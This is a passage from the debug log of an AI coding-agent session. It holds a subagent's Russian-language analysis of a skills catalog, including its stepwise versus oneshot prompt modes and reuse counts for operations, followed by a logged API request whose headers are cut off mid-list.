\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e |\\n\\n## F1\u2013F3. \u0427\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043d\u0430\u0432\u044b\u043a\u0430\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041d\u0430\u0432\u044b\u043a\u0438\u00bb](https://gitverse.ru/docs/ai/ai-development/skills)\\n\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u0447\u0435\u0440\u0435\u0437 **\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b**, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0435\u0451 \u043e\u0431\u044a\u0451\u043c:\\n\\n> \u041d\u0430\u0432\u044b\u043a \u2014 \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0435\u0439\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0430\u0433\u0435\u043d\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\\n> \u0441\u0430\u043c, \u043a\u043e\u0433\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0435\u0439 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442.\\n\\n\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432, \u043d\u0430 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043d\u0430 \u0433\u043b\u0443\u0431\u0438\u043d\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442: \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0430, `name` \u0438 `description` (`GC-2`).\\n\u0417\u043d\u0430\u0447\u0438\u0442, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\u00bb \u0441\u0440\u0435\u0434\u043e\u0439 **\u043d\u0435 \u0437\u0430\u0434\u0430\u043d\u043e** \u2014 \u044d\u0442\u043e\\n\u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0425\u0430\u0431\u0430, \u0432\u044b\u0434\u0430\u043d\u043d\u043e\u0435 \u0437\u0430 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b.\\n\\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0440\u0435\u0434\u0430 \u0437\u0430\u0434\u0430\u0451\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441 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\u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0430\u0445.** \u0423\u0440\u043e\u0432\u0435\u043d\u044c\\n\u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 (\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u043b\u0438 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441) \u0432 \u044d\u0442\u0438\u0445 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u0445 \u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442.\\n\\n## F4. \u0427\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 `stepwise` \u0438 `oneshot`\\n\\n\u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u0441\u043f\u0438\u0446\u044b \u0443\u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d 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\u043f\u0430\u0440\u0435 \u2014 `fr-documentation`. \u0412\u0435\u0440\u0441\u0438\u044f `stepwise` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\\n`\u0420\u0415\u0416\u0418\u041c \u0420\u0410\u0411\u041e\u0422\u042b: \u0421\u0442\u0440\u043e\u0433\u043e \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439` \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0448\u0430\u0433\u0430, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445\\n\u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c \u0441 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439 \u00ab(\u0416\u0434\u0438 \u043e\u0442\u0432\u0435\u0442\u0430)\u00bb. \u0412\u0435\u0440\u0441\u0438\u044f `oneshot` \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u0431\u043b\u043e\u043a `\u0410\u041b\u0413\u041e\u0420\u0418\u0422\u041c \u0413\u0415\u041d\u0415\u0420\u0410\u0426\u0418\u0418` \u0438\u0437 \u0442\u0440\u0451\u0445 \u0441\u0442\u0430\u0434\u0438\u0439 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, ODA-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f, \u2014\\n\u0438 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f. \u041e\u0431\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0435; \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e:\\n\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435.** `stepwise` \u0438 `oneshot` \u2014 \u043d\u0435 \u043c\u0435\u0440\u0430 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0435 \u043c\u0435\u0440\u0430\\n\u0433\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438. \u042d\u0442\u043e **\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430**: \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0433\u0435\u0439\u0442\\n\u0430\u043a\u0442\u043e\u0440\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f.\\n\\n## F5. `oneshot` \u043d\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\\n\\n\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u21d2 `oneshot`\u00bb \u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab`oneshot` \u21d2 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u2014 \u0440\u0430\u0437\u043d\u044b\u0435\\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0438 \u0432\u0442\u043e\u0440\u043e\u0435 \u0437\u0430\u043c\u0435\u0440 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u0435\u0442: \u0432\u0441\u0435 \u0434\u0435\u0432\u044f\u0442\u044c `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043d\u0435\u0441\u0443\u0442\\n\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c, \u0430 `fr-documentation-oneshot` \u0432\u0434\u043e\u0431\u0430\u0432\u043e\u043a\\n\u043e\u0431\u044f\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u044b\u0434\u0430\u0442\u044c \u0434\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u2014 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u00ab\u041e\u0442\u0447\u0451\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438\u00bb, \u2014 \u0447\u0442\u043e\\n\u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (`OA-2`).\\n\\n\u0418\u043c\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0432\u0435\u0440\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u0443:\\n\\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0443 \u043d\u0435\u0451 \u043d\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445\\n  \u0448\u0430\u0433\u043e\u0432, \u043c\u0435\u0436\u0434\u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u043d\u0443\u0442\u044c) \u21d2 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f **\u0432\u0441\u0435\u0433\u0434\u0430**\\n  `oneshot`;\\n- `oneshot` \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u00ab\u0431\u0435\u0437 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438\u00bb \u0438\\n  \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442.\\n\\n## F6\u2013F7. \u0427\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `L3`\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041d\u0430\u0432\u044b\u043a\u043e\u0432 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` | 33 |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 | 31 |\\n| \u041d\u0430\u0432\u044b\u043a\u043e\u0432, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0445 \u0440\u043e\u0432\u043d\u043e \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | **0** |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a | \u043e\u0442 **2** \u0434\u043e **7** |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438 | **21 \u0438\u0437 31** |\\n\\n\u0421\u0430\u043c\u044b\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: `check-schema` (11 \u043d\u0430\u0432\u044b\u043a\u043e\u0432),\\n`link-elements` (8), `map-to-slot` (7), `check-completeness` (6),\\n`classify-item` (6), `classify-severity` (6), `extract-statements` (6).\\n\\n**\u041a\u0430\u043a \u044d\u0442\u043e \u0447\u0438\u0442\u0430\u0442\u044c.** \u041d\u044b\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0430\u0432\u044b\u043a\u0430-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2014 \u043d\u043e \u043d\u0435\\n\u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043b\u044c \u0435\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u043b\u0430 \u0431\u044b \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e, \u0430 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f\\n\u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 `SB-1`, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0442\u0430\u043a\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u043b\u043e \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e. \u0417\u0430\u043c\u0435\u0440 `F7`\\n\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u043e\u0435: \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0442\u0440\u0451\u0445 \u0438 \u0431\u043e\u043b\u0435\u0435\\n\u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u0442\u043e \u0435\u0441\u0442\u044c \u0443 \u0444\u043e\u0440\u043c\u044b \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0432\u044b\u043a\u00bb\\n\u0435\u0441\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n- \u041f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0438\u0449\u0443\u0442\u0441\u044f \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438. \u0417\u0430\u043c\u0435\u0440 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n  **\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438** \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430, \u0430 \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0430.\\n- \u041a\u043b\u0430\u0441\u0441\u044b \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044e \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432 \u0448\u0430\u043f\u043a\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f; \u0441\u043b\u043e\u0432\u0430\u0440\u044c\\n  \u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0432\u044b\u0445\u043e\u0434\u0430\u043c\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u0430 \u043d\u0435 \u0432\u0441\u0435.\\n- \u041a\u043e\u0440\u043f\u0443\u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438 \u043f\u043e [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u0444\u043e\u0440\u043c\u044b \u0431\u044b\u0442\u044c \u0432\u043f\u0440\u0430\u0432\u0435, \u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u043e\u0440\u043c\u044b \u2014 \u043d\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 `F4`\\n  \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, **\u043a\u0430\u043a \u0440\u0435\u0436\u0438\u043c\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435**, \u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\\n  \u0438 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0445 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c; \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\\n  ([ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)).\\n- \u0421\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0442\u0430\u043a **\u043e\u043f\u0438\u0441\u0430\u043d\u0430**, \u0430 \u043d\u0435 \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0430\u043a\\n  \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.\\n- `F6` \u0438 `F7` \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u044d\u0442\u043e\u0433\u043e \u0436\u0435 PR: \u044d\u0442\u043e \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n  \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e.\",\n[2026-09-29T07:45:13.312Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:13.312Z] [INFO]       }\n[2026-09-29T07:45:13.312Z] [INFO]     ]\n[2026-09-29T07:45:13.312Z] [INFO]   },\n[2026-09-29T07:45:13.312Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"uuid\": \"1b7d5ac2-4313-4d5b-9296-7326a3939431\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:13.298Z\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:13.312Z] [INFO] }\n[2026-09-29T07:45:13.332Z] [STDOUT] [log_896ae5] sending request {\n[2026-09-29T07:45:13.344Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:13.353Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:13.359Z] [STDOUT]   options: {\n[2026-09-29T07:45:13.376Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:13.381Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:13.401Z] [STDOUT]     body: {\n[2026-09-29T07:45:13.418Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:13.423Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:13.430Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:13.435Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:13.441Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:13.447Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:13.453Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:13.456Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:13.460Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:13.464Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:13.468Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:13.474Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:13.481Z] [STDOUT]     },\n[2026-09-29T07:45:13.485Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:13.494Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:13.499Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:13.502Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:13.504Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:13.508Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:13.510Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:13.513Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:13.517Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:13.521Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:13.524Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:13.527Z] [STDOUT]     },\n[2026-09-29T07:45:13.531Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:13.535Z] [STDOUT]   },\n[2026-09-29T07:45:13.538Z] [STDOUT]   headers: {\n[2026-09-29T07:45:13.544Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:13.547Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:13.552Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:13.556Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:13.559Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:13.562Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:13.567Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:13.570Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:13.574Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:13.577Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:13.582Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:13.588Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1081\",\n[2026-09-29T07:45:13.595Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:13.599Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:13.603Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:13.607Z] [STDOUT]     \"x-client-request-id\": \"799bdf82-e340-4b91-abac-60121f9b52e5\",\n[2026-09-29T07:45:13.609Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:13.612Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:13.616Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:13.622Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:13.626Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:13.633Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:13.639Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:13.644Z] [STDOUT]     